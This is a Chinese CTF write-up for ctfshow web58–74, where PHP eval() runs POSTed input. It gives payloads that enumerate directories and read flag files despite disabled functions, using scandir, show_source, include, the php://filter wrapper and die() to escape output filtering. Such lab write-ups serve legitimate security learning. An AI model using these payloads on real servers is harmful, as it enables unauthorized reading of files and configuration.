ctfshow web入门 命令执行 web58-71
都是 POST传递参数 执行 eval() 函数
web58
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
没有进行任何过滤
输入c=system(ls);

报错:由于安全原因已被禁用,passthru()、exec()、popen()、parse_ini_file()一样被禁用


fgetss()被弃用

可以采取php内置函数读取目录,也可以采用文件包含传递伪协议方式
知识点:
1、读取目录函数:glob()、scandir()、dir()、readdir()
2、数组指针函数:reset()、current、pos()、end()、next()、prev()、each()、key()
3、显示文件内容函数:show_source()、highlight_file()
4、读取文件内容函数:file_get_contents()、file()、readfile()、fopen()、php_strip_whitespace()
5、无法直接读取文件函数:fpassthru()、fread()
6、打印输出函数:echo()、print()、print_r()、printf()、sprint()、var_dump()、var_export()
7、文件包含函数:include()、include_once()、require()、require_once()
由于自身水平受限,仅知道以上函数,欢迎补充
payload
此处以 web58 为例,写了多种解法,后续的题都可参考
//一般情况下我们先要获取当前目录,然后读取文件内容
c=show_source(next(array_reverse(scandir(".")))); // .为当前目录,..为上级目录,scandir(".")读出的数组为 .. . flag.php index.php
c=highlight_file(next(array_reverse(scandir("."))));
c=show_source(pos(glob("*"))); //glob("*")读出数组为 flag.php index.php //这里我们知道 /var/www/html/ 目录中只有 index.php 和 flag.php 两个文件,因此直接读取flag.php
//直接读取文件内容
c=highlight_file('flag.php');
c=show_source('falg.php'); //先读取,再输出,下列需要右击查看源代码
c=echo file_get_contents('flag.php');
c=print_r(file('flag.php'));
c=print_r(readfile('flag.php'));
c=print_r(php_strip_whitespace('flag.php')); //需要先打开文件,再读取内容,最后输出
c=fpassthru(fopen('flag.php','r'));
c=print_r(fread(fopen('flag.php','r'),1000)); //文件包含
c=include('flag.php');var_dump(get_defined_vars()); //文件包含传递伪协议
POST
c=include $_GET[1];
GET
1=php://filter/read=convert.base64-encode/resource=flag.php

然后对获取的字符进行base64解码
web59
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
代码看着还是一样,但把 readfile()、file_get_contents() 函数禁用了
解法参考58
web60
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
禁用 file()、fpassthru()、fread()
解法参考58
web61
禁用fopen(),解法参考58
62-65
没测出禁用了啥,解法参考58
web66
禁用show_source()

假 flag
此处尝试查看其他目录,在根目录发现 flag.txt 文件
c=print_r(scandir("../../../"));

payload
c=highlight_file("../../../flag.txt"); // flag.txt 所在目录为跟目录,可以用 / 代替 ../../../
c=highlight_file("/".pos(array_slice(scandir('/'),6,1))); //这里提供一种思路,当flag被屏蔽时,php不支持通配符,sql支持
c=include('/flag.txt'); //66-77,出了72、73-76以外都可以使用,注意文件名是否改变,文件路径是否改变
web67
禁用print_r(),可用var_dump()替代,同66
web68
禁用highlight_file()
var_dump() 不能直接读取文件内容,先要使用 php_strip_whitespace() 读取文件内容
payload
c=var_dump(php_strip_whitespace('/flag.txt'));
web69
禁用var_dump()
常用打印输出函数:echo()、print()、print_r()、var_dump() ,除了这四个还有 printf()、sprint() ,与var_dump() 类似的 var_export()
payload
c=printf(php_strip_whitespace('/flag.txt'));
c=var_export(php_strip_whitespace('/flag.txt'));
web70
可以看见禁用了 error_reporting()、ini_set() 、highligth_file()

解法同69
web71
69 的两个 payload 依旧有效,但输出结果全被替换成 ?

在71关前附加了index.php文件

index.php文件
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
} ?> 你要上天吗?
两个都是涉及 php 的输出缓冲区
ob_get_contents():获取输出缓冲区内容
ob_end_clean():清除关闭缓冲区
利用 die()、exit() 终止程序,只执行下列代码
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
payload
//只需要在 69 的基础上加上die();
c=printf(php_strip_whitespace('/flag.txt'));die();
c=var_export(php_strip_whitespace('/flag.txt'));die(); c=include('/flag.txt');die();
web72
使用 glob:// 伪协议扫描根目录,需要使用uaf脚本,但看不懂
web73
//先查看目录
c=var_export(scandir('/'));die();
//获取flag
c=include('/flagc.txt');die();
web74
参考
https://www.php.cn/blog/detail/6095.html
https://blog.csdn.net/weixin_43197795/article/details/118113703
ctfshow web入门 命令执行 web58-71的更多相关文章
- ctfshow web入门部分题目 (更新中)
CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...
- web漏洞-命令执行、文件上传、XSS
一.命令执行 1:什么是命令执行? 命令执行漏洞是指攻击者可以随意执行系统命令.属于高危漏洞之一任何脚本语言都可以调用操作系统命令. 应用有时需要调用一些执行系统命令的函数,举个例子如:PHP中的 ...
- (大数据工程师学习路径)第一步 Linux 基础入门----命令执行顺序控制与管道
介绍 顺序执行.选择执行.管道.cut 命令.grep 命令.wc 命令.sort 命令等,高效率使用 Linux 的技巧. 一.命令执行顺序的控制 1.顺序执行多条命令 通常情况下,我们每次只能在终 ...
- 【CTF WEB】命令执行
命令执行 找到题目中的KEY KEY为八位随机字符数字,例如key:1234qwer.提交1234qwer 即可. 漏洞代码 <?php system("ping -c 2 " ...
- Asp.net 在网页编写C#代码示例-- 一个简单的web MsSql 命令执行环境
在给一个客户做的系统上,因为要对数据库进行查看,但之前都是用TeamView来连接到客户的服务器进行数据库操作的 但最近客户那边的TeamView好像更改过密码导致我无法正常连接,而巧了客户的网官因为 ...
- ctfshow WEB入门 信息收集 1-20
web1 题目:开发注释未及时删除 查看页面源代码即可 web2 题目:js把鼠标右键和f12屏蔽了 方法一: 禁用JavaScript 方法二: url前面加上view-source: web3 题 ...
- 关于CTFshow中Web入门42-54
0x00前记 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...
- 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
- ctfshow之Web入门刷题记(从89开始,持续更新)
0x01Web89-99PHP特性payload Web89 include("flag.php"); highlight_file(__FILE__); if(isset($_G ...
- [web安全原理]PHP命令执行漏洞基础
前言 PHP命令执行漏洞 应用程序的某些功能功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命 ...
随机推荐
- P19_数据绑定
数据绑定 数据绑定的基本原则 在 data 中定义数据 在 WXML 中使用数据 在 data 中定义页面的数据 在页面对应的 .js 文件中,把数据定义到 data 对象中即可: Mustache ...
- Zstack使用经验系列2-安装的存储配置
从上图读者应该能看出当初分配主存储和镜像存储时空间分配的是多么不合理,镜像空间不需要那么多.不过这时系统已经运行了近1年,很多云主机以及系统服务都搭好了,如果再重新分配空间是多么的麻烦! 所以开始为p ...
- 【TS】联合类型--类型断言--类型推断
联合类型 在实际开发中,我们接收的变量可能不是一个固定的数据类型,而是动态的多个数据类型,此时用单个固定的数据类型去接收很明显是不行的,为了解决这种可能会接收多个不同数据类型的变量就需要用到联合类型. ...
- 部署Kubernetes v1.22.10高可用集群
一.概述 Kubernetes集群控制平面(Master)节点右数据库服务(Etcd)+其它服务组件(Apiserver.Controller-manager.Scheduler等)组成:整个集群系统 ...
- JZOJ 2020.07.16【NOIP提高组】模拟
总结 这套题相比昨天,简单了不止一点 然而有的人拿了 \(300\) 多 而我只有 \(198\) 预估应该有 \(268\) 的,假了 \(70\) 分 出现了很多奇怪的 \(mistakes\) ...
- JZOJ 3293. 【SHTSC2013】阶乘字符串
\(\text{Problem}\) 给定一个由前 \(n\) 个小写字母组成的串 \(S\). 串 \(S\) 是阶乘字符串当且仅当前 \(n\) 个小写字母的全排列(共 \(n!\) 种)都作为 ...
- JZOJ 4213. 【五校联考1day2】对你的爱深不见底
题目 思路 结论题,我不会证明: 找到第一个 \(|S_n| \leq m + 1\),那么答案就是 \(m - |S_{n-2}|\) 证明?我说了我不会,就当结论用吧 这已经很恶心了 然而这题还要 ...
- 基于JavaScript的OpenGL 01 之Hello Triangle
1. 引言 本文基于JavaScript语言,描述OpenGL(即,WebGL)的绘制流程,这里描述的是OpenGL的核心模式(Core-profile) 笔者这里不过多描述每个名词.函数和细节,更详 ...
- cximage菜单(Mirror)
// ID_CXIMAGE_MIRROR 文件:CxImage\demo\demoDoc.cpp 菜单项:cximage->Mirror ON_COMMAND(ID_CXIMAGE_MIRROR ...
- 计算机存储内部数据的原理,编程语言的发展史和分类,python解释器的下载和安装,计算机cmd窗口的使用,环境变量和解释器多版本共存方法
计算机内部存储数据的原理 计算机内部只认识01二进制. 存储单位:0和1分别代表一个比特位(bit).8bit=1bytes(字节) 1024kb=1MB 1024MB=1GB 1024GB=1TB ...
